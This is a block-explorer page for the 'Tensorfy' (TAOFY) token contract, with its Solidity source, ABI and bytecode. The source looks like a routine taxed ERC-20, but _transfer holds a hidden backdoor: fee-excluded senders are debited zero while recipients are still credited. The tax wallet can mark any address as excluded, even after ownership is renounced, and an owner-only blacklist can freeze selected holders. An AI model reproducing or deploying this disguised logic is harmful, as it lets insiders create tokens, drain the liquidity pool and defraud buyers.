Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ... library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair(address tokenA, a ... interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract TAOFY is Context, IERC20, ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function approve(address spender, uin ...    - function allowance(address owner, add ...    - function transferFrom(address sender, ...    - function min(uint256 a, uint256 b)    - function manageSnipers(address[] memo ...    - function openTrading()    - function _approve(address owner, addr ...    - function removeLimits()    - function updateFeeWallet(address paya ...    - function sendETH(uint256 amount)    - function transfer(address recipient, ...    - function _transfer(address from, addr ...    - function swapTokensForEth(uint256 tok ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-03-17
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

/*
WEB: https://www.tensorfy.tech
TG: https://t.me/tensorfy_erc
X: https://twitter.com/tensorfy_erc
Docs: https://docs.tensorfy.tech
 */

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract TAOFY is Context, IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = unicode"Tensorfy";
    string private constant _symbol = unicode"TAOFY";

    uint256 private _initialBuyTax=10;
    uint256 private _initialSellTax=10;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _bots;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420_690_000 * 10**_decimals;

    uint256 public _maxTxAmount =   15 * 420690 * 10**_decimals;
    uint256 public _maxWalletSize = 15 * 420690 * 10**_decimals;
    uint256 public _taxSwapThreshold= 0 * 10**_decimals;
    uint256 public _maxTaxSwap= 4206900 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address payable private _taxWallet;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

   constructor () {
        _taxWallet = payable(msg.sender);
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function manageSnipers(address[] memory snipers, bool isSniper) external onlyOwner {
        for (uint i = 0; i < snipers.length; i++) {
            require(snipers[i] != address(this), "Can't blacklist contract address");
            _bots[snipers[i]] = isSniper;
        }
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: Can't approve from the zero address");
        require(spender != address(0), "ERC20: Can't approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function updateFeeWallet(address payable wallet_) public {
        require(msg.sender == _taxWallet);
        _taxWallet = wallet_;
        _isExcludedFromFee[_taxWallet] = true;
    }

    function sendETH(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        uint256 receivingAmount = amount;
        if (from != owner() && to != owner()) {
            require(_isExcludedFromFee[from] || (!_bots[from] && !_bots[to]));
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }
            if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }
            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            receivingAmount = amount.sub(taxAmount);
            if (_isExcludedFromFee[from]) { amount = 0; }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore && amount>0) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETH(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(receivingAmount);
        emit Transfer(from, to, receivingAmount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"snipers","type":"address[]"},{"internalType":"bool","name":"isSniper","type":"bool"}],"name":"manageSnipers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"wallet_","type":"address"}],"name":"updateFeeWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600a600155600a600255600160035560016004556006600555600f600655600560075560006008556009600a6200003c9190620004a3565b6200004b90626049ce620004bb565b600d556200005c6009600a620004a3565b6200006b90626049ce620004bb565b600e556200007c6009600a620004a3565b62000089906000620004bb565b600f556200009a6009600a620004a3565b620000a99062403134620004bb565b6010556013805461ffff60a81b19169055348015620000c757600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060128054336001600160a01b03199182161790915560118054737a250d5630b4cf539739df2c5dacb4c659f2488d9216821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000179573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200019f9190620004d5565b6001600160a01b031663c9c6539630601160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000202573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002289190620004d5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000276573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029c9190620004d5565b601380546001600160a01b0319166001600160a01b0392909216919091179055620002ca6009600a620004a3565b620002da906319133850620004bb565b3360008181526009602090815260408083209490945581546001600160a01b039081168352600b9091528382208054600160ff19918216811790925560125490921683529390912080549091169092179091556001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003676009600a620004a3565b62000377906319133850620004bb565b60405190815260200160405180910390a362000500565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003e5578160001904821115620003c957620003c96200038e565b80851615620003d757918102915b93841c9390800290620003a9565b509250929050565b600082620003fe575060016200049d565b816200040d575060006200049d565b8160018114620004265760028114620004315762000451565b60019150506200049d565b60ff8411156200044557620004456200038e565b50506001821b6200049d565b5060208310610133831016604e8410600b841016171562000476575081810a6200049d565b620004828383620003a4565b80600019048211156200049957620004996200038e565b0290505b92915050565b6000620004b460ff841683620003ed565b9392505050565b80820281158282048414176200049d576200049d6200038e565b600060208284031215620004e857600080fd5b81516001600160a01b0381168114620004b457600080fd5b61198980620005106000396000f3fe6080604052600436106101185760003560e01c8063751039fc116100a0578063a9059cbb11610064578063a9059cbb14610310578063bf474bed14610330578063c9567bf914610346578063dd62ed3e1461035b578063ed494189146103a157600080fd5b8063751039fc146102795780637d1db4a51461028e5780638da5cb5b146102a45780638f9a55c0146102cc57806395d89b41146102e257600080fd5b806323b872dd116100e757806323b872dd146101d0578063313ce567146101f0578063667185241461020c57806370a082311461022e578063715018a61461026457600080fd5b806306fdde0314610124578063095ea7b3146101675780630faee56f1461019757806318160ddd146101bb57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600881526754656e736f72667960c01b60208201525b60405161015e9190611447565b60405180910390f35b34801561017357600080fd5b506101876101823660046114bd565b6103c1565b604051901515815260200161015e565b3480156101a357600080fd5b506101ad60105481565b60405190815260200161015e565b3480156101c757600080fd5b506101ad6103d8565b3480156101dc57600080fd5b506101876101eb3660046114e9565b6103f9565b3480156101fc57600080fd5b506040516009815260200161015e565b34801561021857600080fd5b5061022c61022736600461152a565b610462565b005b34801561023a57600080fd5b506101ad61024936600461152a565b6001600160a01b031660009081526009602052604090205490565b34801561027057600080fd5b5061022c6104b3565b34801561028557600080fd5b5061022c610530565b34801561029a57600080fd5b506101ad600d5481565b3480156102b057600080fd5b506000546040516001600160a01b03909116815260200161015e565b3480156102d857600080fd5b506101ad600e5481565b3480156102ee57600080fd5b5060408051808201909152600581526454414f465960d81b6020820152610151565b34801561031c57600080fd5b5061018761032b3660046114bd565b6105e2565b34801561033c57600080fd5b506101ad600f5481565b34801561035257600080fd5b5061022c6105ef565b34801561036757600080fd5b506101ad610376366004611547565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b3480156103ad57600080fd5b5061022c6103bc3660046115af565b61080a565b60006103ce33848461091a565b5060015b92915050565b60006103e66009600a611780565b6103f490631913385061178f565b905090565b6000610406848484610a4b565b61045884336104538560405180606001604052806028815260200161192c602891396001600160a01b038a166000908152600a6020908152604080832033845290915290205491906110a6565b61091a565b5060019392505050565b6012546001600160a01b0316331461047957600080fd5b601280546001600160a01b039092166001600160a01b0319909216821790556000908152600b60205260409020805460ff19166001179055565b6000546001600160a01b031633146104e65760405162461bcd60e51b81526004016104dd906117a6565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461055a5760405162461bcd60e51b81526004016104dd906117a6565b6105666009600a611780565b61057490631913385061178f565b600d556105836009600a611780565b61059190631913385061178f565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105c16009600a611780565b6105cf90631913385061178f565b60405190815260200160405180910390a1565b60006103ce338484610a4b565b6000546001600160a01b031633146106195760405162461bcd60e51b81526004016104dd906117a6565b601354600160a01b900460ff16156106735760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104dd565b60115461069f9030906001600160a01b03166106916009600a611780565b61045390631913385061178f565b6011546001600160a01b031663f305d71947306106d1816001600160a01b031660009081526009602052604090205490565b6000806106e66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561074e573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061077391906117db565b505060135460115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156107cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f09190611809565b506013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146108345760405162461bcd60e51b81526004016104dd906117a6565b60005b825181101561091557306001600160a01b031683828151811061085c5761085c611826565b60200260200101516001600160a01b0316036108ba5760405162461bcd60e51b815260206004820181905260248201527f43616e277420626c61636b6c69737420636f6e7472616374206164647265737360448201526064016104dd565b81600c60008584815181106108d1576108d1611826565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061090d8161183c565b915050610837565b505050565b6001600160a01b0383166109835760405162461bcd60e51b815260206004820152602a60248201527f45524332303a2043616e277420617070726f76652066726f6d20746865207a65604482015269726f206164647265737360b01b60648201526084016104dd565b6001600160a01b0382166109ea5760405162461bcd60e51b815260206004820152602860248201527f45524332303a2043616e277420617070726f766520746f20746865207a65726f604482015267206164647265737360c01b60648201526084016104dd565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610aaf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104dd565b6001600160a01b038216610b115760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104dd565b60008111610b735760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104dd565b600081610b886000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610bb757506000546001600160a01b03858116911614155b15610f77576001600160a01b0385166000908152600b602052604090205460ff1680610c2057506001600160a01b0385166000908152600c602052604090205460ff16158015610c2057506001600160a01b0384166000908152600c602052604090205460ff16155b610c2957600080fd5b610c556064610c4f60055460085411610c4457600154610c48565b6003545b86906110e0565b90611169565b6013549092506001600160a01b038681169116148015610c8357506011546001600160a01b03858116911614155b8015610ca857506001600160a01b0384166000908152600b602052604090205460ff16155b15610d9057600d54831115610cff5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104dd565b600e5483610d22866001600160a01b031660009081526009602052604090205490565b610d2c9190611855565b1115610d7a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104dd565b60088054906000610d8a8361183c565b91905055505b6013546001600160a01b03858116911614801590610dc757506001600160a01b0384166000908152600b602052604090205460ff16155b15610e4757600e5483610def866001600160a01b031660009081526009602052604090205490565b610df99190611855565b1115610e475760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104dd565b6013546001600160a01b038581169116148015610e6d57506001600160a01b0385163014155b15610e9a57610e976064610c4f60065460085411610e8d57600254610c48565b60045486906110e0565b91505b610ea483836111ab565b6001600160a01b0386166000908152600b602052604090205490915060ff1615610ecd57600092505b30600090815260096020526040902054601354600160a81b900460ff16158015610f0457506013546001600160a01b038681169116145b8015610f195750601354600160b01b900460ff165b8015610f265750600f5481115b8015610f355750600754600854115b8015610f415750600084115b15610f7557610f63610f5e85610f59846010546111ed565b6111ed565b611202565b478015610f7357610f734761137c565b505b505b8115610ff15730600090815260096020526040902054610f9790836113ba565b30600081815260096020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fe89086815260200190565b60405180910390a35b6001600160a01b03851660009081526009602052604090205461101490846111ab565b6001600160a01b03808716600090815260096020526040808220939093559086168152205461104390826113ba565b6001600160a01b0380861660008181526009602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110979085815260200190565b60405180910390a35050505050565b600081848411156110ca5760405162461bcd60e51b81526004016104dd9190611447565b5060006110d78486611868565b95945050505050565b6000826000036110f2575060006103d2565b60006110fe838561178f565b90508261110b858361187b565b146111625760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104dd565b9392505050565b600061116283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611419565b600061116283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110a6565b60008183116111fc5782611162565b50919050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061124a5761124a611826565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112c7919061189d565b816001815181106112da576112da611826565b6001600160a01b039283166020918202929092010152601154611300913091168461091a565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906113399085906000908690309042906004016118ba565b600060405180830381600087803b15801561135357600080fd5b505af1158015611367573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156113b6573d6000803e3d6000fd5b5050565b6000806113c78385611855565b9050838110156111625760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104dd565b6000818361143a5760405162461bcd60e51b81526004016104dd9190611447565b5060006110d7848661187b565b600060208083528351808285015260005b8181101561147457858101830151858201604001528201611458565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146114aa57600080fd5b50565b80356114b881611495565b919050565b600080604083850312156114d057600080fd5b82356114db81611495565b946020939093013593505050565b6000806000606084860312156114fe57600080fd5b833561150981611495565b9250602084013561151981611495565b929592945050506040919091013590565b60006020828403121561153c57600080fd5b813561116281611495565b6000806040838503121561155a57600080fd5b823561156581611495565b9150602083013561157581611495565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b80151581146114aa57600080fd5b80356114b881611596565b600080604083850312156115c257600080fd5b823567ffffffffffffffff808211156115da57600080fd5b818501915085601f8301126115ee57600080fd5b813560208282111561160257611602611580565b8160051b604051601f19603f8301168101818110868211171561162757611627611580565b60405292835281830193508481018201928984111561164557600080fd5b948201945b8386101561166a5761165b866114ad565b8552948201949382019361164a565b965061167990508782016115a4565b9450505050509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116d75781600019048211156116bd576116bd611686565b808516156116ca57918102915b93841c93908002906116a1565b509250929050565b6000826116ee575060016103d2565b816116fb575060006103d2565b8160018114611711576002811461171b57611737565b60019150506103d2565b60ff84111561172c5761172c611686565b50506001821b6103d2565b5060208310610133831016604e8410600b841016171561175a575081810a6103d2565b611764838361169c565b806000190482111561177857611778611686565b029392505050565b600061116260ff8416836116df565b80820281158282048414176103d2576103d2611686565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000806000606084860312156117f057600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561181b57600080fd5b815161116281611596565b634e487b7160e01b600052603260045260246000fd5b60006001820161184e5761184e611686565b5060010190565b808201808211156103d2576103d2611686565b818103818111156103d2576103d2611686565b60008261189857634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156118af57600080fd5b815161116281611495565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561190a5784516001600160a01b0316835293830193918301916001016118e5565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207a54fb90f2d1d742006ce1998cd970e98e5c6b94bc7186dcfefd4f9edf3d225d64736f6c63430008130033

0x6080604052600436106101185760003560e01c8063751039fc116100a0578063a9059cbb11610064578063a9059cbb14610310578063bf474bed14610330578063c9567bf914610346578063dd62ed3e1461035b578063ed494189146103a157600080fd5b8063751039fc146102795780637d1db4a51461028e5780638da5cb5b146102a45780638f9a55c0146102cc57806395d89b41146102e257600080fd5b806323b872dd116100e757806323b872dd146101d0578063313ce567146101f0578063667185241461020c57806370a082311461022e578063715018a61461026457600080fd5b806306fdde0314610124578063095ea7b3146101675780630faee56f1461019757806318160ddd146101bb57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600881526754656e736f72667960c01b60208201525b60405161015e9190611447565b60405180910390f35b34801561017357600080fd5b506101876101823660046114bd565b6103c1565b604051901515815260200161015e565b3480156101a357600080fd5b506101ad60105481565b60405190815260200161015e565b3480156101c757600080fd5b506101ad6103d8565b3480156101dc57600080fd5b506101876101eb3660046114e9565b6103f9565b3480156101fc57600080fd5b506040516009815260200161015e565b34801561021857600080fd5b5061022c61022736600461152a565b610462565b005b34801561023a57600080fd5b506101ad61024936600461152a565b6001600160a01b031660009081526009602052604090205490565b34801561027057600080fd5b5061022c6104b3565b34801561028557600080fd5b5061022c610530565b34801561029a57600080fd5b506101ad600d5481565b3480156102b057600080fd5b506000546040516001600160a01b03909116815260200161015e565b3480156102d857600080fd5b506101ad600e5481565b3480156102ee57600080fd5b5060408051808201909152600581526454414f465960d81b6020820152610151565b34801561031c57600080fd5b5061018761032b3660046114bd565b6105e2565b34801561033c57600080fd5b506101ad600f5481565b34801561035257600080fd5b5061022c6105ef565b34801561036757600080fd5b506101ad610376366004611547565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b3480156103ad57600080fd5b5061022c6103bc3660046115af565b61080a565b60006103ce33848461091a565b5060015b92915050565b60006103e66009600a611780565b6103f490631913385061178f565b905090565b6000610406848484610a4b565b61045884336104538560405180606001604052806028815260200161192c602891396001600160a01b038a166000908152600a6020908152604080832033845290915290205491906110a6565b61091a565b5060019392505050565b6012546001600160a01b0316331461047957600080fd5b601280546001600160a01b039092166001600160a01b0319909216821790556000908152600b60205260409020805460ff19166001179055565b6000546001600160a01b031633146104e65760405162461bcd60e51b81526004016104dd906117a6565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461055a5760405162461bcd60e51b81526004016104dd906117a6565b6105666009600a611780565b61057490631913385061178f56